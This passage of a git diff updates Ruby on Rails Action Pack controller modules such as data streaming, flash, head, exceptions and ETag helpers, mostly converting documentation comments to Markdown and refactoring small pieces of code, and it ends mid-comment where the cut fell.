+      def content_security_policy(enabled = true, **options, &block)
+        before_action(options) do
+          if block_given?
+            policy = current_content_security_policy
+            instance_exec(policy, &block)
+            request.content_security_policy = policy
+          end
+
+          unless enabled
+            request.content_security_policy = nil
+          end
+        end
+      end
+
+      # Overrides the globally configured `Content-Security-Policy-Report-Only`
+      # header:
+      #
+      #     class PostsController < ApplicationController
+      #       content_security_policy_report_only only: :index
+      #     end
+      #
+      # Pass `false` to remove the `Content-Security-Policy-Report-Only` header:
+      #
+      #     class PostsController < ApplicationController
+      #       content_security_policy_report_only false, only: :index
+      #     end
+      def content_security_policy_report_only(report_only = true, **options)
+        before_action(options) do
+          request.content_security_policy_report_only = report_only
+        end
+      end
+    end
+
+    private
+      def content_security_policy?
+        request.content_security_policy
+      end
+
+      def content_security_policy_nonce
+        request.content_security_policy_nonce
+      end
+
+      def current_content_security_policy
+        request.content_security_policy&.clone || ActionDispatch::ContentSecurityPolicy.new
+      end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/cookies.rb b/actionpack/lib/action_controller/metal/cookies.rb
index 44925641a1cfe..a738532c18411 100644
--- a/actionpack/lib/action_controller/metal/cookies.rb
+++ b/actionpack/lib/action_controller/metal/cookies.rb
@@ -1,4 +1,8 @@
-module ActionController #:nodoc:
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionController # :nodoc:
   module Cookies
     extend ActiveSupport::Concern
 
@@ -7,7 +11,9 @@ module Cookies
     end
 
     private
-      def cookies
+      # The cookies for the current request. See ActionDispatch::Cookies for more
+      # information.
+      def cookies # :doc:
         request.cookie_jar
       end
   end
diff --git a/actionpack/lib/action_controller/metal/data_streaming.rb b/actionpack/lib/action_controller/metal/data_streaming.rb
index 731e03e2fc796..9c7ba594f7409 100644
--- a/actionpack/lib/action_controller/metal/data_streaming.rb
+++ b/actionpack/lib/action_controller/metal/data_streaming.rb
@@ -1,6 +1,13 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "action_controller/metal/exceptions"
+require "action_dispatch/http/content_disposition"
 
-module ActionController #:nodoc:
+module ActionController # :nodoc:
+  # # Action Controller Data Streaming
+  #
   # Methods for sending arbitrary data and for streaming files to the browser,
   # instead of rendering.
   module DataStreaming
@@ -8,62 +15,66 @@ module DataStreaming
 
     include ActionController::Rendering
 
-    DEFAULT_SEND_FILE_TYPE        = "application/octet-stream".freeze #:nodoc:
-    DEFAULT_SEND_FILE_DISPOSITION = "attachment".freeze #:nodoc:
+    DEFAULT_SEND_FILE_TYPE        = "application/octet-stream" # :nodoc:
+    DEFAULT_SEND_FILE_DISPOSITION = "attachment" # :nodoc:
 
     private
-      # Sends the file. This uses a server-appropriate method (such as X-Sendfile)
-      # via the Rack::Sendfile middleware. The header to use is set via
-      # +config.action_dispatch.x_sendfile_header+.
-      # Your server can also configure this for you by setting the X-Sendfile-Type header.
-      #
-      # Be careful to sanitize the path parameter if it is coming from a web
-      # page. <tt>send_file(params[:path])</tt> allows a malicious user to
-      # download any file on your server.
-      #
-      # Options:
-      # * <tt>:filename</tt> - suggests a filename for the browser to use.
-      #   Defaults to <tt>File.basename(path)</tt>.
-      # * <tt>:type</tt> - specifies an HTTP content type.
-      #   You can specify either a string or a symbol for a registered type with <tt>Mime::Type.register</tt>, for example :json.
-      #   If omitted, the type will be inferred from the file extension specified in <tt>:filename</tt>.
-      #   If no content type is registered for the extension, the default type 'application/octet-stream' will be used.
-      # * <tt>:disposition</tt> - specifies whether the file will be shown inline or downloaded.
-      #   Valid values are 'inline' and 'attachment' (default).
-      # * <tt>:status</tt> - specifies the status code to send with the response. Defaults to 200.
-      # * <tt>:url_based_filename</tt> - set to +true+ if you want the browser to guess the filename from
-      #   the URL, which is necessary for i18n filenames on certain browsers
-      #   (setting <tt>:filename</tt> overrides this option).
-      #
-      # The default Content-Type and Content-Disposition headers are
-      # set to download arbitrary binary files in as many browsers as
-      # possible. IE versions 4, 5, 5.5, and 6 are all known to have
-      # a variety of quirks (especially when downloading over SSL).
+      # Sends the file. This uses a server-appropriate method (such as `X-Sendfile`)
+      # via the `Rack::Sendfile` middleware. The header to use is set via
+      # `config.action_dispatch.x_sendfile_header`. Your server can also configure
+      # this for you by setting the `X-Sendfile-Type` header.
+      #
+      # Be careful to sanitize the path parameter if it is coming from a web page.
+      # `send_file(params[:path])` allows a malicious user to download any file on
+      # your server.
+      #
+      # #### Options:
+      #
+      # *   `:filename` - suggests a filename for the browser to use. Defaults to
+      #     `File.basename(path)`.
+      # *   `:type` - specifies an HTTP content type. You can specify either a string
+      #     or a symbol for a registered type with `Mime::Type.register`, for example
+      #     `:json`. If omitted, the type will be inferred from the file extension
+      #     specified in `:filename`. If no content type is registered for the
+      #     extension, the default type `application/octet-stream` will be used.
+      # *   `:disposition` - specifies whether the file will be shown inline or
+      #     downloaded. Valid values are `"inline"` and `"attachment"` (default).
+      # *   `:status` - specifies the status code to send with the response. Defaults
+      #     to 200.
+      # *   `:url_based_filename` - set to `true` if you want the browser to guess the
+      #     filename from the URL, which is necessary for i18n filenames on certain
+      #     browsers (setting `:filename` overrides this option).
+      #
+      #
+      # The default `Content-Type` and `Content-Disposition` headers are set to
+      # download arbitrary binary files in as many browsers as possible. IE versions
+      # 4, 5, 5.5, and 6 are all known to have a variety of quirks (especially when
+      # downloading over SSL).
       #
       # Simple download:
       #
-      #   send_file '/path/to.zip'
+      #     send_file '/path/to.zip'
       #
       # Show a JPEG in the browser:
       #
-      #   send_file '/path/to.jpeg', type: 'image/jpeg', disposition: 'inline'
+      #     send_file '/path/to.jpeg', type: 'image/jpeg', disposition: 'inline'
       #
       # Show a 404 page in the browser:
       #
-      #   send_file '/path/to/404.html', type: 'text/html; charset=utf-8', status: 404
+      #     send_file '/path/to/404.html', type: 'text/html; charset=utf-8', disposition: 'inline', status: 404
       #
-      # Read about the other Content-* HTTP headers if you'd like to
-      # provide the user with more information (such as Content-Description) in
-      # http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.11.
+      # You can use other `Content-*` HTTP headers to provide additional information
+      # to the client. See MDN for a [list of HTTP
+      # headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers).
       #
-      # Also be aware that the document may be cached by proxies and browsers.
-      # The Pragma and Cache-Control headers declare how the file may be cached
-      # by intermediaries. They default to require clients to validate with
-      # the server before releasing cached responses. See
-      # http://www.mnot.net/cache_docs/ for an overview of web caching and
-      # http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9
-      # for the Cache-Control header spec.
-      def send_file(path, options = {}) #:doc:
+      # Also be aware that the document may be cached by proxies and browsers. The
+      # `Pragma` and `Cache-Control` headers declare how the file may be cached by
+      # intermediaries. They default to require clients to validate with the server
+      # before releasing cached responses. See https://www.mnot.net/cache_docs/ for an
+      # overview of web caching and [RFC
+      # 9111](https://www.rfc-editor.org/rfc/rfc9111.html#name-cache-control) for the
+      # `Cache-Control` header spec.
+      def send_file(path, options = {}) # :doc:
         raise MissingFile, "Cannot read file #{path}" unless File.file?(path) && File.readable?(path)
 
         options[:filename] ||= File.basename(path) unless options[:url_based_filename]
@@ -74,36 +85,41 @@ def send_file(path, options = {}) #:doc:
         response.send_file path
       end
 
-      # Sends the given binary data to the browser. This method is similar to
-      # <tt>render plain: data</tt>, but also allows you to specify whether
-      # the browser should display the response as a file attachment (i.e. in a
-      # download dialog) or as inline data. You may also set the content type,
-      # the file name, and other things.
-      #
-      # Options:
-      # * <tt>:filename</tt> - suggests a filename for the browser to use.
-      # * <tt>:type</tt> - specifies an HTTP content type. Defaults to 'application/octet-stream'.
-      #   You can specify either a string or a symbol for a registered type with <tt>Mime::Type.register</tt>, for example :json.
-      #   If omitted, type will be inferred from the file extension specified in <tt>:filename</tt>.
-      #   If no content type is registered for the extension, the default type 'application/octet-stream' will be used.
-      # * <tt>:disposition</tt> - specifies whether the file will be shown inline or downloaded.
-      #   Valid values are 'inline' and 'attachment' (default).
-      # * <tt>:status</tt> - specifies the status code to send with the response. Defaults to 200.
+      # Sends the given binary data to the browser. This method is similar to `render
+      # plain: data`, but also allows you to specify whether the browser should
+      # display the response as a file attachment (i.e. in a download dialog) or as
+      # inline data. You may also set the content type, the file name, and other
+      # things.
+      #
+      # #### Options:
+      #
+      # *   `:filename` - suggests a filename for the browser to use.
+      # *   `:type` - specifies an HTTP content type. Defaults to
+      #     `application/octet-stream`. You can specify either a string or a symbol
+      #     for a registered type with `Mime::Type.register`, for example `:json`. If
+      #     omitted, type will be inferred from the file extension specified in
+      #     `:filename`. If no content type is registered for the extension, the
+      #     default type `application/octet-stream` will be used.
+      # *   `:disposition` - specifies whether the file will be shown inline or
+      #     downloaded. Valid values are `"inline"` and `"attachment"` (default).
+      # *   `:status` - specifies the status code to send with the response. Defaults
+      #     to 200.
+      #
       #
       # Generic data download:
       #
-      #   send_data buffer
+      #     send_data buffer
       #
       # Download a dynamically-generated tarball:
       #
-      #   send_data generate_tgz('dir'), filename: 'dir.tgz'
+      #     send_data generate_tgz('dir'), filename: 'dir.tgz'
       #
       # Display an image Active Record in the browser:
       #
-      #   send_data image.data, type: image.content_type, disposition: 'inline'
+      #     send_data image.data, type: image.content_type, disposition: 'inline'
       #
-      # See +send_file+ for more information on HTTP Content-* headers and caching.
-      def send_data(data, options = {}) #:doc:
+      # See `send_file` for more information on HTTP `Content-*` headers and caching.
+      def send_data(data, options = {}) # :doc:
         send_file_headers! options
         render options.slice(:status, :content_type).merge(body: data)
       end
@@ -111,16 +127,14 @@ def send_data(data, options = {}) #:doc:
       def send_file_headers!(options)
         type_provided = options.has_key?(:type)
 
-        self.content_type = DEFAULT_SEND_FILE_TYPE
+        content_type = options.fetch(:type, DEFAULT_SEND_FILE_TYPE)
+        self.content_type = content_type
         response.sending_file = true
 
-        content_type = options.fetch(:type, DEFAULT_SEND_FILE_TYPE)
         raise ArgumentError, ":type option required" if content_type.nil?
 
         if content_type.is_a?(Symbol)
-          extension = Mime[content_type]
-          raise ArgumentError, "Unknown MIME type #{options[:type]}" unless extension
-          self.content_type = extension
+          self.content_type = content_type
         else
           if !type_provided && options[:filename]
             # If type wasn't provided, try guessing from file extension.
@@ -130,21 +144,11 @@ def send_file_headers!(options)
         end
 
         disposition = options.fetch(:disposition, DEFAULT_SEND_FILE_DISPOSITION)
-        unless disposition.nil?
-          disposition  = disposition.to_s
-          disposition += %(; filename="#{options[:filename]}") if options[:filename]
-          headers["Content-Disposition"] = disposition
+        if disposition
+          headers["Content-Disposition"] = ActionDispatch::Http::ContentDisposition.format(disposition: disposition, filename: options[:filename])
         end
 
         headers["Content-Transfer-Encoding"] = "binary"
-
-        # Fix a problem with IE 6.0 on opening downloaded files:
-        # If Cache-Control: no-cache is set (which Rails does by default),
-        # IE removes the file it just downloaded from its cache immediately
-        # after it displays the "open/save" dialog, which means that if you
-        # hit "open" the file isn't there anymore when the application that
-        # is called for handling the download is run, so let's workaround that
-        response.cache_control[:public] ||= false
       end
   end
 end
diff --git a/actionpack/lib/action_controller/metal/default_headers.rb b/actionpack/lib/action_controller/metal/default_headers.rb
new file mode 100644
index 0000000000000..fef8e789467ef
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/default_headers.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionController
+  # # Action Controller Default Headers
+  #
+  # Allows configuring default headers that will be automatically merged into each
+  # response.
+  module DefaultHeaders
+    extend ActiveSupport::Concern
+
+    module ClassMethods
+      def make_response!(request)
+        ActionDispatch::Response.create.tap do |res|
+          res.request = request
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/etag_with_flash.rb b/actionpack/lib/action_controller/metal/etag_with_flash.rb
index 474d75f02e126..6caf8a4315323 100644
--- a/actionpack/lib/action_controller/metal/etag_with_flash.rb
+++ b/actionpack/lib/action_controller/metal/etag_with_flash.rb
@@ -1,16 +1,22 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionController
+  # # Action Controller Etag With Flash
+  #
   # When you're using the flash, it's generally used as a conditional on the view.
   # This means the content of the view depends on the flash. Which in turn means
-  # that the etag for a response should be computed with the content of the flash
+  # that the ETag for a response should be computed with the content of the flash
   # in mind. This does that by including the content of the flash as a component
-  # in the etag that's generated for a response.
+  # in the ETag that's generated for a response.
   module EtagWithFlash
     extend ActiveSupport::Concern
 
     include ActionController::ConditionalGet
 
     included do
-      etag { flash unless flash.empty? }
+      etag { flash if request.respond_to?(:flash) && !flash.empty? }
     end
   end
 end
diff --git a/actionpack/lib/action_controller/metal/etag_with_template_digest.rb b/actionpack/lib/action_controller/metal/etag_with_template_digest.rb
index 798564db96e87..20715b1fc6c56 100644
--- a/actionpack/lib/action_controller/metal/etag_with_template_digest.rb
+++ b/actionpack/lib/action_controller/metal/etag_with_template_digest.rb
@@ -1,20 +1,26 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionController
-  # When our views change, they should bubble up into HTTP cache freshness
-  # and bust browser caches. So the template digest for the current action
-  # is automatically included in the ETag.
+  # # Action Controller Etag With Template Digest
+  #
+  # When our views change, they should bubble up into HTTP cache freshness and
+  # bust browser caches. So the template digest for the current action is
+  # automatically included in the ETag.
   #
   # Enabled by default for apps that use Action View. Disable by setting
   #
-  #   config.action_controller.etag_with_template_digest = false
+  #     config.action_controller.etag_with_template_digest = false
   #
-  # Override the template to digest by passing +:template+ to +fresh_when+
-  # and +stale?+ calls. For example:
+  # Override the template to digest by passing `:template` to `fresh_when` and
+  # `stale?` calls. For example:
   #
-  #   # We're going to render widgets/show, not posts/show
-  #   fresh_when @post, template: 'widgets/show'
+  #     # We're going to render widgets/show, not posts/show
+  #     fresh_when @post, template: 'widgets/show'
   #
-  #   # We're not going to render a template, so omit it from the ETag.
-  #   fresh_when @post, template: false
+  #     # We're not going to render a template, so omit it from the ETag.
+  #     fresh_when @post, template: false
   #
   module EtagWithTemplateDigest
     extend ActiveSupport::Concern
@@ -22,13 +28,10 @@ module EtagWithTemplateDigest
     include ActionController::ConditionalGet
 
     included do
-      class_attribute :etag_with_template_digest
-      self.etag_with_template_digest = true
+      class_attribute :etag_with_template_digest, default: true
 
-      ActiveSupport.on_load :action_view, yield: true do
-        etag do |options|
-          determine_template_etag(options) if etag_with_template_digest
-        end
+      etag do |options|
+        determine_template_etag(options) if etag_with_template_digest
       end
     end
 
@@ -39,18 +42,18 @@ def determine_template_etag(options)
         end
       end
 
-      # Pick the template digest to include in the ETag. If the +:template+ option
-      # is present, use the named template. If +:template+ is +nil+ or absent, use
-      # the default controller/action template. If +:template+ is false, omit the
-      # template digest from the ETag.
+      # Pick the template digest to include in the ETag. If the `:template` option is
+      # present, use the named template. If `:template` is `nil` or absent, use the
+      # default controller/action template. If `:template` is false, omit the template
+      # digest from the ETag.
       def pick_template_for_etag(options)
         unless options[:template] == false
-          options[:template] || "#{controller_path}/#{action_name}"
+          options[:template] || lookup_context.find_all(action_name, _prefixes).first&.virtual_path
         end
       end
 
       def lookup_and_digest_template(template)
-        ActionView::Digestor.digest name: template, finder: lookup_context
+        ActionView::Digestor.digest name: template, format: nil, finder: lookup_context
       end
   end
 end
diff --git a/actionpack/lib/action_controller/metal/exceptions.rb b/actionpack/lib/action_controller/metal/exceptions.rb
index 175dd9eb9e109..bed189eb77396 100644
--- a/actionpack/lib/action_controller/metal/exceptions.rb
+++ b/actionpack/lib/action_controller/metal/exceptions.rb
@@ -1,18 +1,22 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionController
-  class ActionControllerError < StandardError #:nodoc:
+  class ActionControllerError < StandardError # :nodoc:
   end
 
-  class BadRequest < ActionControllerError #:nodoc:
+  class BadRequest < ActionControllerError # :nodoc:
     def initialize(msg = nil)
       super(msg)
       set_backtrace $!.backtrace if $!
     end
   end
 
-  class RenderError < ActionControllerError #:nodoc:
+  class RenderError < ActionControllerError # :nodoc:
   end
 
-  class RoutingError < ActionControllerError #:nodoc:
+  class RoutingError < ActionControllerError # :nodoc:
     attr_reader :failures
     def initialize(message, failures = [])
       super(message)
@@ -20,35 +24,88 @@ def initialize(message, failures = [])
     end
   end
 
-  class ActionController::UrlGenerationError < ActionControllerError #:nodoc:
+  class UrlGenerationError < ActionControllerError # :nodoc:
+    attr_reader :routes, :route_name, :method_name
+
+    def initialize(message, routes = nil, route_name = nil, method_name = nil)
+      @routes      = routes
+      @route_name  = route_name
+      @method_name = method_name
+
+      super(message)
+    end
+
+    if defined?(DidYouMean::Correctable) && defined?(DidYouMean::SpellChecker)
+      include DidYouMean::Correctable
+
+      def corrections
+        @corrections ||= begin
+          maybe_these = routes&.named_routes&.helper_names&.grep(/#{route_name}/) || []
+          maybe_these -= [method_name.to_s] # remove exact match
+
+          DidYouMean::SpellChecker.new(dictionary: maybe_these).correct(route_name)
+        end
+      end
+    end
   end
 
-  class MethodNotAllowed < ActionControllerError #:nodoc:
+  class MethodNotAllowed < ActionControllerError # :nodoc:
     def initialize(*allowed_methods)
-      super("Only #{allowed_methods.to_sentence(locale: :en)} requests are allowed.")
+      super("Only #{allowed_methods.to_sentence} requests are allowed.")
     end
   end
 
-  class NotImplemented < MethodNotAllowed #:nodoc:
+  class NotImplemented < MethodNotAllowed # :nodoc:
+  end
+
+  class MissingFile < ActionControllerError # :nodoc:
   end
 
-  class UnknownController < ActionControllerError #:nodoc:
+  class SessionOverflowError < ActionControllerError # :nodoc:
+    DEFAULT_MESSAGE = "Your session data is larger than the data column in which it is to be stored. You must increase the size of your data column if you intend to store large data."
+
+    def initialize(message = nil)
+      super(message || DEFAULT_MESSAGE)
+    end
   end
 
-  class MissingFile < ActionControllerError #:nodoc:
+  class UnknownHttpMethod < ActionControllerError # :nodoc:
   end
 
-  class SessionOverflowError < ActionControllerError #:nodoc:
-    DEFAULT_MESSAGE = "Your session data is larger than the data column in which it is to be stored. You must increase the size of your data column if you intend to store large data."
+  class UnknownFormat < ActionControllerError # :nodoc:
+  end
+
+  # Raised when a nested respond_to is triggered and the content types of each are
+  # incompatible. For example:
+  #
+  #     respond_to do |outer_type|
+  #       outer_type.js do
+  #         respond_to do |inner_type|
+  #           inner_type.html { render body: "HTML" }
+  #         end
+  #       end
+  #     end
+  class RespondToMismatchError < ActionControllerError
+    DEFAULT_MESSAGE = "respond_to was called multiple times and matched with conflicting formats in this action. Please note that you may only call respond_to and match on a single format per action."
 
     def initialize(message = nil)
       super(message || DEFAULT_MESSAGE)
     end
   end
 
-  class UnknownHttpMethod < ActionControllerError #:nodoc:
+  class MissingExactTemplate < UnknownFormat # :nodoc:
+    attr_reader :controller, :action_name
+
+    def initialize(message, controller, action_name)
+      @controller  = controller
+      @action_name = action_name
+
+      super(message)
+    end
   end
 
-  class UnknownFormat < ActionControllerError #:nodoc:
+  # Raised when a Rate Limit is exceeded by too many requests within a period of
+  # time.
+  class TooManyRequests < ActionControllerError
   end
 end
diff --git a/actionpack/lib/action_controller/metal/flash.rb b/actionpack/lib/action_controller/metal/flash.rb
index 347fbf0e74077..a7ca78fea093f 100644
--- a/actionpack/lib/action_controller/metal/flash.rb
+++ b/actionpack/lib/action_controller/metal/flash.rb
@@ -1,10 +1,13 @@
-module ActionController #:nodoc:
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionController # :nodoc:
   module Flash
     extend ActiveSupport::Concern
 
     included do
-      class_attribute :_flash_types, instance_accessor: false
-      self._flash_types = []
+      class_attribute :_flash_types, instance_accessor: false, default: []
 
       delegate :flash, to: :request
       add_flash_types(:alert, :notice)
@@ -12,19 +15,19 @@ module Flash
 
     module ClassMethods
       # Creates new flash types. You can pass as many types as you want to create
-      # flash types other than the default <tt>alert</tt> and <tt>notice</tt> in
-      # your controllers and views. For instance:
+      # flash types other than the default `alert` and `notice` in your controllers
+      # and views. For instance:
       #
-      #   # in application_controller.rb
-      #   class ApplicationController < ActionController::Base
-      #     add_flash_types :warning
-      #   end
+      #     # in application_controller.rb
+      #     class ApplicationController < ActionController::Base
+      #       add_flash_types :warning
+      #     end
       #
-      #   # in your controller
-      #   redirect_to user_path(@user), warning: "Incomplete profile"
+      #     # in your controller
+      #     redirect_to user_path(@user), warning: "Incomplete profile"
       #
-      #   # in your view
-      #   <%= warning %>
+      #     # in your view
+      #     <%= warning %>
       #
       # This method will automatically define a new method for each of the given
       # names, and it will be available in your views.
@@ -35,7 +38,8 @@ def add_flash_types(*types)
           define_method(type) do
             request.flash[type]
           end
-          helper_method type
+          private type
+          helper_method(type) if respond_to?(:helper_method)
 
           self._flash_types += [type]
         end
@@ -43,18 +47,18 @@ def add_flash_types(*types)
     end
 
     private
-      def redirect_to(options = {}, response_status_and_flash = {}) #:doc:
+      def redirect_to(options = {}, response_options_and_flash = {}) # :doc:
         self.class._flash_types.each do |flash_type|
-          if type = response_status_and_flash.delete(flash_type)
+          if type = response_options_and_flash.delete(flash_type)
             flash[flash_type] = type
           end
         end
 
-        if other_flashes = response_status_and_flash.delete(:flash)
+        if other_flashes = response_options_and_flash.delete(:flash)
           flash.update(other_flashes)
         end
 
-        super(options, response_status_and_flash)
+        super(options, response_options_and_flash)
       end
   end
 end
diff --git a/actionpack/lib/action_controller/metal/force_ssl.rb b/actionpack/lib/action_controller/metal/force_ssl.rb
deleted file mode 100644
index 9d43e752ac58c..0000000000000
--- a/actionpack/lib/action_controller/metal/force_ssl.rb
+++ /dev/null
@@ -1,97 +0,0 @@
-require "active_support/core_ext/hash/except"
-require "active_support/core_ext/hash/slice"
-
-module ActionController
-  # This module provides a method which will redirect the browser to use HTTPS
-  # protocol. This will ensure that user's sensitive information will be
-  # transferred safely over the internet. You _should_ always force the browser
-  # to use HTTPS when you're transferring sensitive information such as
-  # user authentication, account information, or credit card information.
-  #
-  # Note that if you are really concerned about your application security,
-  # you might consider using +config.force_ssl+ in your config file instead.
-  # That will ensure all the data transferred via HTTPS protocol and prevent
-  # the user from getting their session hijacked when accessing the site over
-  # unsecured HTTP protocol.
-  module ForceSSL
-    extend ActiveSupport::Concern
-    include AbstractController::Callbacks
-
-    ACTION_OPTIONS = [:only, :except, :if, :unless]
-    URL_OPTIONS = [:protocol, :host, :domain, :subdomain, :port, :path]
-    REDIRECT_OPTIONS = [:status, :flash, :alert, :notice]
-
-    module ClassMethods
-      # Force the request to this particular controller or specified actions to be
-      # under HTTPS protocol.
-      #
-      # If you need to disable this for any reason (e.g. development) then you can use
-      # an +:if+ or +:unless+ condition.
-      #
-      #     class AccountsController < ApplicationController
-      #       force_ssl if: :ssl_configured?
-      #
-      #       def ssl_configured?
-      #         !Rails.env.development?
-      #       end
-      #     end
-      #
-      # ==== URL Options
-      # You can pass any of the following options to affect the redirect url
-      # * <tt>host</tt>       - Redirect to a different host name
-      # * <tt>subdomain</tt>  - Redirect to a different subdomain
-      # * <tt>domain</tt>     - Redirect to a different domain
-      # * <tt>port</tt>       - Redirect to a non-standard port
-      # * <tt>path</tt>       - Redirect to a different path
-      #
-      # ==== Redirect Options
-      # You can pass any of the following options to affect the redirect status and response
-      # * <tt>status</tt>     - Redirect with a custom status (default is 301 Moved Permanently)
-      # * <tt>flash</tt>      - Set a flash message when redirecting
-      # * <tt>alert</tt>      - Set an alert message when redirecting
-      # * <tt>notice</tt>     - Set a notice message when redirecting
-      #
-      # ==== Action Options
-      # You can pass any of the following options to affect the before_action callback
-      # * <tt>only</tt>       - The callback should be run only for this action
-      # * <tt>except</tt>     - The callback should be run for all actions except this action
-      # * <tt>if</tt>         - A symbol naming an instance method or a proc; the
-      #   callback will be called only when it returns a true value.
-      # * <tt>unless</tt>     - A symbol naming an instance method or a proc; the
-      #   callback will be called only when it returns a false value.
-      def force_ssl(options = {})
-        action_options = options.slice(*ACTION_OPTIONS)
-        redirect_options = options.except(*ACTION_OPTIONS)
-        before_action(action_options) do
-          force_ssl_redirect(redirect_options)
-        end
-      end
-    end
-
-    # Redirect the existing request to use the HTTPS protocol.
-    #
-    # ==== Parameters
-    # * <tt>host_or_options</tt> - Either a host name or any of the url &
-    #   redirect options available to the <tt>force_ssl</tt> method.
-    def force_ssl_redirect(host_or_options = nil)
-      unless request.ssl?
-        options = {
-          protocol: "https://",
-          host: request.host,
-          path: request.fullpath,
-          status: :moved_permanently
-        }
-
-        if host_or_options.is_a?(Hash)
-          options.merge!(host_or_options)
-        elsif host_or_options
-          options[:host] = host_or_options
-        end
-
-        secure_url = ActionDispatch::Http::URL.url_for(options.slice(*URL_OPTIONS))
-        flash.keep if respond_to?(:flash) && request.respond_to?(:flash)
-        redirect_to secure_url, options.slice(*REDIRECT_OPTIONS)
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_controller/metal/head.rb b/actionpack/lib/action_controller/metal/head.rb
index 0c50894bce781..254367fb85fae 100644
--- a/actionpack/lib/action_controller/metal/head.rb
+++ b/actionpack/lib/action_controller/metal/head.rb
@@ -1,45 +1,56 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionController
   module Head
-    # Returns a response that has no content (merely headers). The options
-    # argument is interpreted to be a hash of header names and values.
-    # This allows you to easily return a response that consists only of
-    # significant headers:
+    # Returns a response that has no content (merely headers). The options argument
+    # is interpreted to be a hash of header names and values. This allows you to
+    # easily return a response that consists only of significant headers:
     #
-    #   head :created, location: person_path(@person)
+    #     head :created, location: person_path(@person)
     #
-    #   head :created, location: @person
+    #     head :created, location: @person
     #
     # It can also be used to return exceptional conditions:
     #
-    #   return head(:method_not_allowed) unless request.post?
-    #   return head(:bad_request) unless valid_request?
-    #   render
+    #     return head(:method_not_allowed) unless request.post?
+    #     return head(:bad_request) unless valid_request?
+    #     render
     #
-    # See Rack::Utils::SYMBOL_TO_STATUS_CODE for a full list of valid +status+ symbols.
-    def head(status, options = {})
+    # See `Rack::Utils::SYMBOL_TO_STATUS_CODE` for a full list of valid `status`
+    # symbols.
+    def head(status, options = nil)
       if status.is_a?(Hash)
         raise ArgumentError, "#{status.inspect} is not a valid value for `status`."
       end
 
+      raise ::AbstractController::DoubleRenderError if response_body
+
       status ||= :ok
 
-      location = options.delete(:location)
-      content_type = options.delete(:content_type)
+      if options
+        location = options.delete(:location)
+        content_type = options.delete(:content_type)
 
-      options.each do |key, value|
-        headers[key.to_s.dasherize.split("-").each { |v| v[0] = v[0].chr.upcase }.join("-")] = value.to_s
+        options.each do |key, value|
+          headers[key.to_s.split(/[-_]/).each { |v| v[0] = v[0].upcase }.join("-")] = value.to_s
+        end
       end
 
       self.status = status
       self.location = url_for(location) if location
 
-      self.response_body = ""
-
       if include_content?(response_code)
-        self.content_type = content_type || (Mime[formats.first] if formats)
+        unless self.media_type
+          self.content_type = content_type || ((f = formats) && Mime[f.first]) || :html
+        end
+
         response.charset = false
       end
 
+      self.response_body = ""
+
       true
     end
 
diff --git a/actionpack/lib/action_controller/metal/helpers.rb b/actionpack/lib/action_controller/metal/helpers.rb
index 476d081239866..3b660843cb995 100644
--- a/actionpack/lib/action_controller/metal/helpers.rb
+++ b/actionpack/lib/action_controller/metal/helpers.rb
@@ -1,50 +1,64 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionController
-  # The \Rails framework provides a large number of helpers for working with assets, dates, forms,
-  # numbers and model objects, to name a few. These helpers are available to all templates
-  # by default.
+  # # Action Controller Helpers
   #
-  # In addition to using the standard template helpers provided, creating custom helpers to
-  # extract complicated logic or reusable functionality is strongly encouraged. By default, each controller
-  # will include all helpers. These helpers are only accessible on the controller through <tt>#helpers</tt>
+  # The Rails framework provides a large number of helpers for working with
+  # assets, dates, forms, numbers and model objects, to name a few. These helpers
+  # are available to all templates by default.
   #
-  # In previous versions of \Rails the controller will include a helper which
-  # matches the name of the controller, e.g., <tt>MyController</tt> will automatically
-  # include <tt>MyHelper</tt>. To return old behavior set +config.action_controller.include_all_helpers+ to +false+.
+  # In addition to using the standard template helpers provided, creating custom
+  # helpers to extract complicated logic or reusable functionality is strongly
+  # encouraged. By default, each controller will include all helpers. These
+  # helpers are only accessible on the controller through `#helpers`
   #
-  # Additional helpers can be specified using the +helper+ class method in ActionController::Base or any
-  # controller which inherits from it.
+  # In previous versions of Rails the controller will include a helper which
+  # matches the name of the controller, e.g., `MyController` will automatically
+  # include `MyHelper`. You can revert to the old behavior with the following:
+  #
+  #     # config/application.rb
+  #     class Application < Rails::Application
+  #       config.action_controller.include_all_helpers = false
+  #     end
   #
-  # The +to_s+ method from the \Time class can be wrapped in a helper method to display a custom message if
-  # a \Time object is blank:
+  # Additional helpers can be specified using the `helper` class method in
+  # ActionController::Base or any controller which inherits from it.
   #
-  #   module FormattedTimeHelper
-  #     def format_time(time, format=:long, blank_message="&nbsp;")
-  #       time.blank? ? blank_message : time.to_s(format)
+  # The `to_s` method from the Time class can be wrapped in a helper method to
+  # display a custom message if a Time object is blank:
+  #
+  #     module FormattedTimeHelper
+  #       def format_time(time, format=:long, blank_message="&nbsp;")
+  #         time.blank? ? blank_message : time.to_fs(format)
+  #       end
   #     end
-  #   end
   #
-  # FormattedTimeHelper can now be included in a controller, using the +helper+ class method:
+  # FormattedTimeHelper can now be included in a controller, using the `helper`
+  # class method:
   #
-  #   class EventsController < ActionController::Base
-  #     helper FormattedTimeHelper
-  #     def index
-  #       @events = Event.all
+  #     class EventsController < ActionController::Base
+  #       helper FormattedTimeHelper
+  #       def index
+  #         @events = Event.all
+  #       end
   #     end
-  #   end
   #
-  # Then, in any view rendered by <tt>EventController</tt>, the <tt>format_time</tt> method can be called:
+  # Then, in any view rendered by `EventsController`, the `format_time` method can
+  # be called:
   #
-  #   <% @events.each do |event| -%>
-  #     <p>
-  #       <%= format_time(event.time, :short, "N/A") %> | <%= event.name %>
-  #     </p>
-  #   <% end -%>
+  #     <% @events.each do |event| -%>
+  #       <p>
